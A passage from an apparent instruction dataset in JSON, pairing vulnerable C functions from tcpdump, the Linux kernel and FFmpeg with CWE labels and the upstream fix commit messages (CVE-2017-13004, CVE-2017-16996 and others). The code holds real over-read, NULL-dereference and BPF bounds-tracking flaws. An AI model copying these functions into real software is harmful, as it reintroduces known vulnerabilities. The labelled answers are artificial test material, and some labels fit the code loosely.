tok2str(juniper_ifmt_values, \"Unknown\", tlv_value),\n                               tlv_value));\n                }\n                break;\n            case JUNIPER_EXT_TLV_IFL_ENCAPS:\n            case JUNIPER_EXT_TLV_TTP_IFL_ENCAPS:\n                if (tlv_value != -1) {\n                    if (ndo->ndo_vflag > 1)\n                        ND_PRINT((ndo, \"%s (%u)\",\n                               tok2str(juniper_ifle_values, \"Unknown\", tlv_value),\n                               tlv_value));\n                }\n                break;\n            case JUNIPER_EXT_TLV_IFL_IDX: /* fall through */\n            case JUNIPER_EXT_TLV_IFL_UNIT:\n            case JUNIPER_EXT_TLV_IFD_IDX:\n            default:\n                if (tlv_value != -1) {\n                    if (ndo->ndo_vflag > 1)\n                        ND_PRINT((ndo, \"%u\", tlv_value));\n                }\n                break;\n            }\n\n            tptr+=tlv_len;\n            jnx_ext_len -= tlv_len+JUNIPER_EXT_TLV_OVERHEAD;\n        }\n\n        if (ndo->ndo_vflag > 1)\n            ND_PRINT((ndo, \"\\n\\t-----original packet-----\\n\\t\"));\n    }\n\n    if ((l2info->flags & JUNIPER_BPF_NO_L2 ) == JUNIPER_BPF_NO_L2 ) {\n        if (ndo->ndo_eflag)\n            ND_PRINT((ndo, \"no-L2-hdr, \"));\n\n        /* there is no link-layer present -\n         * perform the v4/v6 heuristics\n         * to figure out what it is\n         */\n        ND_TCHECK2(p[jnx_header_len + 4], 1);\n        if (ip_heuristic_guess(ndo, p + jnx_header_len + 4,\n                               l2info->length - (jnx_header_len + 4)) == 0)\n            ND_PRINT((ndo, \"no IP-hdr found!\"));\n\n        l2info->header_len=jnx_header_len+4;\n        return 0; /* stop parsing the output further */\n\n    }\n    l2info->header_len = jnx_header_len;\n    p+=l2info->header_len;\n    l2info->length -= l2info->header_len;\n    l2info->caplen -= l2info->header_len;\n\n    /* search through the cookie table and copy values matching for our PIC type */\n    ND_TCHECK(p[0]);\n    while (lp->s != NULL) {\n        if (lp->pictype == l2info->pictype) {\n\n            l2info->cookie_len += lp->cookie_len;\n\n            switch (p[0]) {\n            case LS_COOKIE_ID:\n                l2info->cookie_type = LS_COOKIE_ID;\n                l2info->cookie_len += 2;\n                break;\n            case AS_COOKIE_ID:\n                l2info->cookie_type = AS_COOKIE_ID;\n                l2info->cookie_len = 8;\n                break;\n\n            default:\n                l2info->bundle = l2info->cookie[0];\n                break;\n            }\n\n\n#ifdef DLT_JUNIPER_MFR\n            /* MFR child links don't carry cookies */\n            if (l2info->pictype == DLT_JUNIPER_MFR &&\n                (p[0] & MFR_BE_MASK) == MFR_BE_MASK) {\n                l2info->cookie_len = 0;\n            }\n#endif\n\n            l2info->header_len += l2info->cookie_len;\n            l2info->length -= l2info->cookie_len;\n            l2info->caplen -= l2info->cookie_len;\n\n            if (ndo->ndo_eflag)\n                ND_PRINT((ndo, \"%s-PIC, cookie-len %u\",\n                       lp->s,\n                       l2info->cookie_len));\n\n            if (l2info->cookie_len > 0) {\n                ND_TCHECK2(p[0], l2info->cookie_len);\n                if (ndo->ndo_eflag)\n                    ND_PRINT((ndo, \", cookie 0x\"));\n                for (idx = 0; idx < l2info->cookie_len; idx++) {\n                    l2info->cookie[idx] = p[idx]; /* copy cookie data */\n                    if (ndo->ndo_eflag) ND_PRINT((ndo, \"%02x\", p[idx]));\n                }\n            }\n\n            if (ndo->ndo_eflag) ND_PRINT((ndo, \": \")); /* print demarc b/w L2/L3*/\n\n\n            l2info->proto = EXTRACT_16BITS(p+l2info->cookie_len);\n            break;\n        }\n        ++lp;\n    }\n    p+=l2info->cookie_len;\n\n    /* DLT_ specific parsing */\n    switch(l2info->pictype) {\n#ifdef DLT_JUNIPER_MLPPP\n    case DLT_JUNIPER_MLPPP:\n        switch (l2info->cookie_type) {\n        case LS_COOKIE_ID:\n            l2info->bundle = l2info->cookie[1];\n            break;\n        case AS_COOKIE_ID:\n            l2info->bundle = (EXTRACT_16BITS(&l2info->cookie[6])>>3)&0xfff;\n            l2info->proto = (l2info->cookie[5])&JUNIPER_LSQ_L3_PROTO_MASK;\n            break;\n        default:\n            l2info->bundle = l2info->cookie[0];\n            break;\n        }\n        break;\n#endif\n#ifdef DLT_JUNIPER_MLFR\n    case DLT_JUNIPER_MLFR:\n        switch (l2info->cookie_type) {\n        case LS_COOKIE_ID:\n            ND_TCHECK2(p[0], 2);\n            l2info->bundle = l2info->cookie[1];\n            l2info->proto = EXTRACT_16BITS(p);\n            l2info->header_len += 2;\n            l2info->length -= 2;\n            l2info->caplen -= 2;\n            break;\n        case AS_COOKIE_ID:\n            l2info->bundle = (EXTRACT_16BITS(&l2info->cookie[6])>>3)&0xfff;\n            l2info->proto = (l2info->cookie[5])&JUNIPER_LSQ_L3_PROTO_MASK;\n            break;\n        default:\n            l2info->bundle = l2info->cookie[0];\n            l2info->header_len += 2;\n            l2info->length -= 2;\n            l2info->caplen -= 2;\n            break;\n        }\n        break;\n#endif\n#ifdef DLT_JUNIPER_MFR\n    case DLT_JUNIPER_MFR:\n        switch (l2info->cookie_type) {\n        case LS_COOKIE_ID:\n            ND_TCHECK2(p[0], 2);\n            l2info->bundle = l2info->cookie[1];\n            l2info->proto = EXTRACT_16BITS(p);\n            l2info->header_len += 2;\n            l2info->length -= 2;\n            l2info->caplen -= 2;\n            break;\n        case AS_COOKIE_ID:\n            l2info->bundle = (EXTRACT_16BITS(&l2info->cookie[6])>>3)&0xfff;\n            l2info->proto = (l2info->cookie[5])&JUNIPER_LSQ_L3_PROTO_MASK;\n            break;\n        default:\n            l2info->bundle = l2info->cookie[0];\n            break;\n        }\n        break;\n#endif\n#ifdef DLT_JUNIPER_ATM2\n    case DLT_JUNIPER_ATM2:\n        ND_TCHECK2(p[0], 4);\n        /* ATM cell relay control word present ? */\n        if (l2info->cookie[7] & ATM2_PKT_TYPE_MASK) {\n            control_word = EXTRACT_32BITS(p);\n            /* some control word heuristics */\n            switch(control_word) {\n            case 0: /* zero control word */\n            case 0x08000000: /* < JUNOS 7.4 control-word */\n            case 0x08380000: /* cntl word plus cell length (56) >= JUNOS 7.4*/\n                l2info->header_len += 4;\n                break;\n            default:\n                break;\n            }\n\n            if (ndo->ndo_eflag)\n                ND_PRINT((ndo, \"control-word 0x%08x \", control_word));\n        }\n        break;\n#endif\n#ifdef DLT_JUNIPER_GGSN\n    case DLT_JUNIPER_GGSN:\n        break;\n#endif\n#ifdef DLT_JUNIPER_ATM1\n    case DLT_JUNIPER_ATM1:\n        break;\n#endif\n#ifdef DLT_JUNIPER_PPP\n    case DLT_JUNIPER_PPP:\n        break;\n#endif\n#ifdef DLT_JUNIPER_CHDLC\n    case DLT_JUNIPER_CHDLC:\n        break;\n#endif\n#ifdef DLT_JUNIPER_ETHER\n    case DLT_JUNIPER_ETHER:\n        break;\n#endif\n#ifdef DLT_JUNIPER_FRELAY\n    case DLT_JUNIPER_FRELAY:\n        break;\n#endif\n\n    default:\n        ND_PRINT((ndo, \"Unknown Juniper DLT_ type %u: \", l2info->pictype));\n        break;\n    }\n\n    if (ndo->ndo_eflag > 1)\n        ND_PRINT((ndo, \"hlen %u, proto 0x%04x, \", l2info->header_len, l2info->proto));\n\n    return 1; /* everything went ok so far. continue parsing */\n trunc:\n    ND_PRINT((ndo, \"[|juniper_hdr], length %u\", h->len));\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2017-13004/Juniper: Add a bounds check.\n\nThis fixes a buffer over-read discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levom\u00e4ki.\n\nAdd tests using the capture files supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void rpc_init_task(struct rpc_task *task, const struct rpc_task_setup *task_setup_data)\n{\n\tmemset(task, 0, sizeof(*task));\n\tatomic_set(&task->tk_count, 1);\n\ttask->tk_flags  = task_setup_data->flags;\n\ttask->tk_ops = task_setup_data->callback_ops;\n\ttask->tk_calldata = task_setup_data->callback_data;\n\tINIT_LIST_HEAD(&task->tk_task);\n\n\t/* Initialize retry counters */\n\ttask->tk_garb_retry = 2;\n\ttask->tk_cred_retry = 2;\n\n\ttask->tk_priority = task_setup_data->priority - RPC_PRIORITY_LOW;\n\ttask->tk_owner = current->tgid;\n\n\t/* Initialize workqueue for async tasks */\n\ttask->tk_workqueue = task_setup_data->workqueue;\n\n\tif (task->tk_ops->rpc_call_prepare != NULL)\n\t\ttask->tk_action = rpc_prepare_task;\n\n\t/* starting timestamp */\n\ttask->tk_start = ktime_get();\n\n\tdprintk(\"RPC:       new task initialized, procpid %u\\n\",\n\t\t\t\ttask_pid_nr(current));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-400', 'CWE-399', 'CWE-703'], 'message': 'NLM: Don't hang forever on NLM unlock requests\n\nIf the NLM daemon is killed on the NFS server, we can currently end up\nhanging forever on an 'unlock' request, instead of aborting. Basically,\nif the rpcbind request fails, or the server keeps returning garbage, we\nreally want to quit instead of retrying.\n\nTested-by: Vasily Averin \nSigned-off-by: Trond Myklebust \nCc: stable@kernel.org'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)\n{\n\tstruct bpf_reg_state *regs = cur_regs(env);\n\tu8 opcode = BPF_OP(insn->code);\n\tint err;\n\n\tif (opcode == BPF_END || opcode == BPF_NEG) {\n\t\tif (opcode == BPF_NEG) {\n\t\t\tif (BPF_SRC(insn->code) != 0 ||\n\t\t\t    insn->src_reg != BPF_REG_0 ||\n\t\t\t    insn->off != 0 || insn->imm != 0) {\n\t\t\t\tverbose(env, \"BPF_NEG uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t} else {\n\t\t\tif (insn->src_reg != BPF_REG_0 || insn->off != 0 ||\n\t\t\t    (insn->imm != 16 && insn->imm != 32 && insn->imm != 64) ||\n\t\t\t    BPF_CLASS(insn->code) == BPF_ALU64) {\n\t\t\t\tverbose(env, \"BPF_END uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\n\t\t/* check src operand */\n\t\terr = check_reg_arg(env, insn->dst_reg, SRC_OP);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tif (is_pointer_value(env, insn->dst_reg)) {\n\t\t\tverbose(env, \"R%d pointer arithmetic prohibited\\n\",\n\t\t\t\tinsn->dst_reg);\n\t\t\treturn -EACCES;\n\t\t}\n\n\t\t/* check dest operand */\n\t\terr = check_reg_arg(env, insn->dst_reg, DST_OP);\n\t\tif (err)\n\t\t\treturn err;\n\n\t} else if (opcode == BPF_MOV) {\n\n\t\tif (BPF_SRC(insn->code) == BPF_X) {\n\t\t\tif (insn->imm != 0 || insn->off != 0) {\n\t\t\t\tverbose(env, \"BPF_MOV uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\n\t\t\t/* check src operand */\n\t\t\terr = check_reg_arg(env, insn->src_reg, SRC_OP);\n\t\t\tif (err)\n\t\t\t\treturn err;\n\t\t} else {\n\t\t\tif (insn->src_reg != BPF_REG_0 || insn->off != 0) {\n\t\t\t\tverbose(env, \"BPF_MOV uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\n\t\t/* check dest operand */\n\t\terr = check_reg_arg(env, insn->dst_reg, DST_OP);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tif (BPF_SRC(insn->code) == BPF_X) {\n\t\t\tif (BPF_CLASS(insn->code) == BPF_ALU64) {\n\t\t\t\t/* case: R1 = R2\n\t\t\t\t * copy register state to dest reg\n\t\t\t\t */\n\t\t\t\tregs[insn->dst_reg] = regs[insn->src_reg];\n\t\t\t\tregs[insn->dst_reg].live |= REG_LIVE_WRITTEN;\n\t\t\t} else {\n\t\t\t\t/* R1 = (u32) R2 */\n\t\t\t\tif (is_pointer_value(env, insn->src_reg)) {\n\t\t\t\t\tverbose(env,\n\t\t\t\t\t\t\"R%d partial copy of pointer\\n\",\n\t\t\t\t\t\tinsn->src_reg);\n\t\t\t\t\treturn -EACCES;\n\t\t\t\t}\n\t\t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n\t\t\t\t/* high 32 bits are known zero. */\n\t\t\t\tregs[insn->dst_reg].var_off = tnum_cast(\n\t\t\t\t\t\tregs[insn->dst_reg].var_off, 4);\n\t\t\t\t__update_reg_bounds(®s[insn->dst_reg]);\n\t\t\t}\n\t\t} else {\n\t\t\t/* case: R = imm\n\t\t\t * remember the value we stored into this reg\n\t\t\t */\n\t\t\tregs[insn->dst_reg].type = SCALAR_VALUE;\n\t\t\tif (BPF_CLASS(insn->code) == BPF_ALU64) {\n\t\t\t\t__mark_reg_known(regs + insn->dst_reg,\n\t\t\t\t\t\t insn->imm);\n\t\t\t} else {\n\t\t\t\t__mark_reg_known(regs + insn->dst_reg,\n\t\t\t\t\t\t (u32)insn->imm);\n\t\t\t}\n\t\t}\n\n\t} else if (opcode > BPF_END) {\n\t\tverbose(env, \"invalid BPF_ALU opcode %x\\n\", opcode);\n\t\treturn -EINVAL;\n\n\t} else {\t/* all other ALU ops: and, sub, xor, add, ... */\n\n\t\tif (BPF_SRC(insn->code) == BPF_X) {\n\t\t\tif (insn->imm != 0 || insn->off != 0) {\n\t\t\t\tverbose(env, \"BPF_ALU uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t\t/* check src1 operand */\n\t\t\terr = check_reg_arg(env, insn->src_reg, SRC_OP);\n\t\t\tif (err)\n\t\t\t\treturn err;\n\t\t} else {\n\t\t\tif (insn->src_reg != BPF_REG_0 || insn->off != 0) {\n\t\t\t\tverbose(env, \"BPF_ALU uses reserved fields\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\n\t\t/* check src2 operand */\n\t\terr = check_reg_arg(env, insn->dst_reg, SRC_OP);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tif ((opcode == BPF_MOD || opcode == BPF_DIV) &&\n\t\t    BPF_SRC(insn->code) == BPF_K && insn->imm == 0) {\n\t\t\tverbose(env, \"div by zero\\n\");\n\t\t\treturn -EINVAL;\n\t\t}\n\n\t\tif ((opcode == BPF_LSH || opcode == BPF_RSH ||\n\t\t     opcode == BPF_ARSH) && BPF_SRC(insn->code) == BPF_K) {\n\t\t\tint size = BPF_CLASS(insn->code) == BPF_ALU64 ? 64 : 32;\n\n\t\t\tif (insn->imm < 0 || insn->imm >= size) {\n\t\t\t\tverbose(env, \"invalid shift %d\\n\", insn->imm);\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\n\t\t/* check dest operand */\n\t\terr = check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\treturn adjust_reg_min_max_vals(env, insn);\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'bpf: fix incorrect tracking of register size truncation\n\nProperly handle register truncation to a smaller size.\n\nThe old code first mirrors the clearing of the high 32 bits in the bitwise\ntristate representation, which is correct. But then, it computes the new\narithmetic bounds as the intersection between the old arithmetic bounds and\nthe bounds resulting from the bitwise tristate representation. Therefore,\nwhen coerce_reg_to_32() is called on a number with bounds\n[0xffff'fff8, 0x1'0000'0007], the verifier computes\n[0xffff'fff8, 0xffff'ffff] as bounds of the truncated number.\nThis is incorrect: The truncated number could also be in the range [0, 7],\nand no meaningful arithmetic bounds can be computed in that case apart from\nthe obvious [0, 0xffff'ffff].\n\nStarting with v4.14, this is exploitable by unprivileged users as long as\nthe unprivileged_bpf_disabled sysctl isn't set.\n\nDebian assigned CVE-2017-16996 for this issue.\n\nv2:\n - flip the mask during arithmetic bounds calculation (Ben Hutchings)\nv3:\n - add CVE number (Ben Hutchings)\n\nFixes: b03c9f9fdc37 (\"bpf/verifier: track signed and unsigned min/max values\")\nSigned-off-by: Jann Horn \nAcked-by: Edward Cree \nSigned-off-by: Alexei Starovoitov \nSigned-off-by: Daniel Borkmann '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isakmp_rfc3948_print(netdissect_options *ndo,\n\t\t     const u_char *bp, u_int length,\n\t\t     const u_char *bp2)\n{\n\n\tif(length == 1 && bp[0]==0xff) {\n\t\tND_PRINT((ndo, \"isakmp-nat-keep-alive\"));\n\t\treturn;\n\t}\n\n\tif(length < 4) {\n\t\tgoto trunc;\n\t}\n\n\t/*\n\t * see if this is an IKE packet\n\t */\n\tif(bp[0]==0 && bp[1]==0 && bp[2]==0 && bp[3]==0) {\n\t\tND_PRINT((ndo, \"NONESP-encap: \"));\n\t\tisakmp_print(ndo, bp+4, length-4, bp2);\n\t\treturn;\n\t}\n\n\t/* must be an ESP packet */\n\t{\n\t\tint nh, enh, padlen;\n\t\tint advance;\n\n\t\tND_PRINT((ndo, \"UDP-encap: \"));\n\n\t\tadvance = esp_print(ndo, bp, length, bp2, &enh, &padlen);\n\t\tif(advance <= 0)\n\t\t\treturn;\n\n\t\tbp += advance;\n\t\tlength -= advance + padlen;\n\t\tnh = enh & 0xff;\n\n\t\tip_print_inner(ndo, bp, length, nh, bp2);\n\t\treturn;\n\t}\n\ntrunc:\n\tND_PRINT((ndo,\"[|isakmp]\"));\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2017-12896/ISAKMP: Do bounds checks in isakmp_rfc3948_print().\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int decode_nal_unit(HEVCContext *s, const H2645NAL *nal)\n{\n    HEVCLocalContext *lc = s->HEVClc;\n    GetBitContext *gb    = &lc->gb;\n    int ctb_addr_ts, ret;\n\n    *gb              = nal->gb;\n    s->nal_unit_type = nal->type;\n    s->temporal_id   = nal->temporal_id;\n\n    switch (s->nal_unit_type) {\n    case HEVC_NAL_VPS:\n        ret = ff_hevc_decode_nal_vps(gb, s->avctx, &s->ps);\n        if (ret < 0)\n            goto fail;\n        break;\n    case HEVC_NAL_SPS:\n        ret = ff_hevc_decode_nal_sps(gb, s->avctx, &s->ps,\n                                     s->apply_defdispwin);\n        if (ret < 0)\n            goto fail;\n        break;\n    case HEVC_NAL_PPS:\n        ret = ff_hevc_decode_nal_pps(gb, s->avctx, &s->ps);\n        if (ret < 0)\n            goto fail;\n        break;\n    case HEVC_NAL_SEI_PREFIX:\n    case HEVC_NAL_SEI_SUFFIX:\n        ret = ff_hevc_decode_nal_sei(gb, s->avctx, &s->sei, &s->ps, s->nal_unit_type);\n        if (ret < 0)\n            goto fail;\n        break;\n    case HEVC_NAL_TRAIL_R:\n    case HEVC_NAL_TRAIL_N:\n    case HEVC_NAL_TSA_N:\n    case HEVC_NAL_TSA_R:\n    case HEVC_NAL_STSA_N:\n    case HEVC_NAL_STSA_R:\n    case HEVC_NAL_BLA_W_LP:\n    case HEVC_NAL_BLA_W_RADL:\n    case HEVC_NAL_BLA_N_LP:\n    case HEVC_NAL_IDR_W_RADL:\n    case HEVC_NAL_IDR_N_LP:\n    case HEVC_NAL_CRA_NUT:\n    case HEVC_NAL_RADL_N:\n    case HEVC_NAL_RADL_R:\n    case HEVC_NAL_RASL_N:\n    case HEVC_NAL_RASL_R:\n        ret = hls_slice_header(s);\n        if (ret < 0)\n            return ret;\n\n        if (s->sh.first_slice_in_pic_flag) {\n            if (s->ref) {\n                av_log(s->avctx, AV_LOG_ERROR, \"Two slices reporting being the first in the same frame.\\n\");\n                goto fail;\n            }\n            if (s->max_ra == INT_MAX) {\n                if (s->nal_unit_type == HEVC_NAL_CRA_NUT || IS_BLA(s)) {\n                    s->max_ra = s->poc;\n                } else {\n                    if (IS_IDR(s))\n                        s->max_ra = INT_MIN;\n                }\n            }\n\n            if ((s->nal_unit_type == HEVC_NAL_RASL_R || s->nal_unit_type == HEVC_NAL_RASL_N) &&\n                s->poc <= s->max_ra) {\n                s->is_decoded = 0;\n                break;\n            } else {\n                if (s->nal_unit_type == HEVC_NAL_RASL_R && s->poc > s->max_ra)\n                    s->max_ra = INT_MIN;\n            }\n\n            ret = hevc_frame_start(s);\n            if (ret < 0)\n                return ret;\n        } else if (!s->ref) {\n            av_log(s->avctx, AV_LOG_ERROR, \"First slice in a frame missing.\\n\");\n            goto fail;\n        }\n\n        if (s->nal_unit_type != s->first_nal_type) {\n            av_log(s->avctx, AV_LOG_ERROR,\n                   \"Non-matching NAL types of the VCL NALUs: %d %d\\n\",\n                   s->first_nal_type, s->nal_unit_type);\n            return AVERROR_INVALIDDATA;\n        }\n\n        if (!s->sh.dependent_slice_segment_flag &&\n            s->sh.slice_type != HEVC_SLICE_I) {\n            ret = ff_hevc_slice_rpl(s);\n            if (ret < 0) {\n                av_log(s->avctx, AV_LOG_WARNING,\n                       \"Error constructing the reference lists for the current slice.\\n\");\n                goto fail;\n            }\n        }\n\n        if (s->sh.first_slice_in_pic_flag && s->avctx->hwaccel) {\n            ret = s->avctx->hwaccel->start_frame(s->avctx, NULL, 0);\n            if (ret < 0)\n                goto fail;\n        }\n\n        if (s->avctx->hwaccel) {\n            ret = s->avctx->hwaccel->decode_slice(s->avctx, nal->raw_data, nal->raw_size);\n            if (ret < 0)\n                goto fail;\n        } else {\n            if (s->threads_number > 1 && s->sh.num_entry_point_offsets > 0)\n                ctb_addr_ts = hls_slice_data_wpp(s, nal);\n            else\n                ctb_addr_ts = hls_slice_data(s);\n            if (ctb_addr_ts >= (s->ps.sps->ctb_width * s->ps.sps->ctb_height)) {\n                s->is_decoded = 1;\n            }\n\n            if (ctb_addr_ts < 0) {\n                ret = ctb_addr_ts;\n                goto fail;\n            }\n        }\n        break;\n    case HEVC_NAL_EOS_NUT:\n    case HEVC_NAL_EOB_NUT:\n        s->seq_decode = (s->seq_decode + 1) & 0xff;\n        s->max_ra     = INT_MAX;\n        break;\n    case HEVC_NAL_AUD:\n    case HEVC_NAL_FD_NUT:\n        break;\n    default:\n        av_log(s->avctx, AV_LOG_INFO,\n               \"Skipping NAL unit %d\\n\", s->nal_unit_type);\n    }\n\n    return 0;\nfail:\n    if (s->avctx->err_recognition & AV_EF_EXPLODE)\n        return ret;\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'avcodec/hevcdec: Avoid only partly skiping duplicate first slices\n\nFixes: NULL pointer dereference and out of array access\nFixes: 13871/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_HEVC_fuzzer-5746167087890432\nFixes: 13845/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_HEVC_fuzzer-5650370728034304\n\nThis also fixes the return code for explode mode\n\nFound-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/projects/ffmpeg\nReviewed-by: James Almer \nSigned-off-by: Michael Niedermayer \n(cherry picked from commit 54655623a82632e7624714d7b2a3e039dc5faa7e)\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline int copy_regset_to_user(struct task_struct *target,\n\t\t\t\t      const struct user_regset_view *view,\n\t\t\t\t      unsigned int setno,\n\t\t\t\t      unsigned int offset, unsigned int size,\n\t\t\t\t      void __user *data)\n{\n\tconst struct user_regset *regset = &view->regsets[setno];\n\n\tif (!access_ok(VERIFY_WRITE, data, size))\n\t\treturn -EIO;\n\n\treturn regset->get(target, regset, offset, size, NULL, data);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'regset: Prevent null pointer reference on readonly regsets\n\nThe regset common infrastructure assumed that regsets would always\nhave .get and .set methods, but not necessarily .active methods.\nUnfortunately people have since written regsets without .set methods.\n\nRather than putting in stub functions everywhere, handle regsets with\nnull .get or .set methods explicitly.\n\nSigned-off-by: H. Peter Anvin \nReviewed-by: Oleg Nesterov \nAcked-by: Roland McGrath \nCc: \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int rds_sendmsg(struct socket *sock, struct msghdr *msg, size_t payload_len)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct rds_sock *rs = rds_sk_to_rs(sk);\n\tDECLARE_SOCKADDR(struct sockaddr_in *, usin, msg->msg_name);\n\t__be32 daddr;\n\t__be16 dport;\n\tstruct rds_message *rm = NULL;\n\tstruct rds_connection *conn;\n\tint ret = 0;\n\tint queued = 0, allocated_mr = 0;\n\tint nonblock = msg->msg_flags & MSG_DONTWAIT;\n\tlong timeo = sock_sndtimeo(sk, nonblock);\n\n\t/* Mirror Linux UDP mirror of BSD error message compatibility */\n\t/* XXX: Perhaps MSG_MORE someday */\n\tif (msg->msg_flags & ~(MSG_DONTWAIT | MSG_CMSG_COMPAT)) {\n\t\tret = -EOPNOTSUPP;\n\t\tgoto out;\n\t}\n\n\tif (msg->msg_namelen) {\n\t\t/* XXX fail non-unicast destination IPs? */\n\t\tif (msg->msg_namelen < sizeof(*usin) || usin->sin_family != AF_INET) {\n\t\t\tret = -EINVAL;\n\t\t\tgoto out;\n\t\t}\n\t\tdaddr = usin->sin_addr.s_addr;\n\t\tdport = usin->sin_port;\n\t} else {\n\t\t/* We only care about consistency with ->connect() */\n\t\tlock_sock(sk);\n\t\tdaddr = rs->rs_conn_addr;\n\t\tdport = rs->rs_conn_port;\n\t\trelease_sock(sk);\n\t}\n\n\t/* racing with another thread binding seems ok here */\n\tif (daddr == 0 || rs->rs_bound_addr == 0) {\n\t\tret = -ENOTCONN; /* XXX not a great errno */\n\t\tgoto out;\n\t}\n\n\tif (payload_len > rds_sk_sndbuf(rs)) {\n\t\tret = -EMSGSIZE;\n\t\tgoto out;\n\t}\n\n\t/* size of rm including all sgs */\n\tret = rds_rm_size(msg, payload_len);\n\tif (ret < 0)\n\t\tgoto out;\n\n\trm = rds_message_alloc(ret, GFP_KERNEL);\n\tif (!rm) {\n\t\tret = -ENOMEM;\n\t\tgoto out;\n\t}\n\n\t/* Attach data to the rm */\n\tif (payload_len) {\n\t\trm->data.op_sg = rds_message_alloc_sgs(rm, ceil(payload_len, PAGE_SIZE));\n\t\tif (!rm->data.op_sg) {\n\t\t\tret = -ENOMEM;\n\t\t\tgoto out;\n\t\t}\n\t\tret = rds_message_copy_from_user(rm, &msg->msg_iter);\n\t\tif (ret)\n\t\t\tgoto out;\n\t}\n\trm->data.op_active = 1;\n\n\trm->m_daddr = daddr;\n\n\t/* rds_conn_create has a spinlock that runs with IRQ off.\n\t * Caching the conn in the socket helps a lot. */\n\tif (rs->rs_conn && rs->rs_conn->c_faddr == daddr)\n\t\tconn = rs->rs_conn;\n\telse {\n\t\tconn = rds_conn_create_outgoing(sock_net(sock->sk),\n\t\t\t\t\t\trs->rs_bound_addr, daddr,\n\t\t\t\t\trs->rs_transport,\n\t\t\t\t\tsock->sk->sk_allocation);\n\t\tif (IS_ERR(conn)) {\n\t\t\tret = PTR_ERR(conn);\n\t\t\tgoto out;\n\t\t}\n\t\trs->rs_conn = conn;\n\t}\n\n\t/* Parse any control messages the user may have included. */\n\tret = rds_cmsg_send(rs, rm, msg, &allocated_mr);\n\tif (ret)\n\t\tgoto out;\n\n\tif (rm->rdma.op_active && !conn->c_trans->xmit_rdma) {\n\t\tprintk_ratelimited(KERN_NOTICE \"rdma_op %p conn xmit_rdma %p\\n\",\n\t\t\t       &rm->rdma, conn->c_trans->xmit_rdma);\n\t\tret = -EOPNOTSUPP;\n\t\tgoto out;\n\t}\n\n\tif (rm->atomic.op_active && !conn->c_trans->xmit_atomic) {\n\t\tprintk_ratelimited(KERN_NOTICE \"atomic_op %p conn xmit_atomic %p\\n\",\n\t\t\t       &rm->atomic, conn->c_trans->xmit_atomic);\n\t\tret = -EOPNOTSUPP;\n\t\tgoto out;\n\t}\n\n\trds_conn_connect_if_down(conn);\n\n\tret = rds_cong_wait(conn->c_fcong, dport, nonblock, rs);\n\tif (ret) {\n\t\trs->rs_seen_congestion = 1;\n\t\tgoto out;\n\t}\n\n\twhile (!rds_send_queue_rm(rs, conn, rm, rs->rs_bound_port,\n\t\t\t\t  dport, &queued)) {\n\t\trds_stats_inc(s_send_queue_full);\n\n\t\tif (nonblock) {\n\t\t\tret = -EAGAIN;\n\t\t\tgoto out;\n\t\t}\n\n\t\ttimeo = wait_event_interruptible_timeout(*sk_sleep(sk),\n\t\t\t\t\trds_send_queue_rm(rs, conn, rm,\n\t\t\t\t\t\t\t  